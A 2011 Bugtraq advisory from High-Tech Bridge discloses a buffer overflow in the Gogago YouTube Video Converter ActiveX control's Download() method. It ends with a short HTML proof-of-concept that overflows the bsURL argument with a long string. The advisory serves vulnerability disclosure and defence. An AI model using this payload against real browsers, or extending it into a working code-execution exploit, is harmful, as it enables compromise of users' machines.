bugtraq - HTB23012: Gogago YouTube Video Converter ActiveX Control "Download()" Buffer Overflow Vulnerability

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Date: Wed, 15 Jun 2011 10:43:01 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB23012: Gogago YouTube Video Converter ActiveX Control "Download()" Buffer Overflow Vulnerability

Vulnerability ID: HTB23012
Reference: http://www.htbridge.ch/advisory/gogago_youtube_video_converter_activex_control_download_buffer_overflow_vulnerability.html
Product: Gogago YouTube Video Converter 
Vendor: Gogago ( http://www.gogago.net/ ) 
Vulnerable Version: 1.1.6 (3/29/2011) and probably prior
Tested on: 1.1.6 (3/29/2011)
Vendor Notification: 25 May 2011 
Vulnerability Type: Buffer Overflow
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a buffer overflow vulnerability in Gogago YouTube Video Converter ActiveX control.

User-supplied data in "bsURL" parameter is not properly bound-checked before being copied into an insufficiently sized buffer in "Download()" method in MDIEEx.dll file.

Successfully exploiting the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application using the ActiveX control.

The following PoC code is available: 

<html>
<body>
<object classid='clsid:7966A32A-5783-4F0B-824C-09077C023080' id='target'></object>
<script language='javascript'>
var arg1 = '';
while (arg1.length < 2000) arg1+='A';
target.Download(arg1);
</script>
</body>
</html>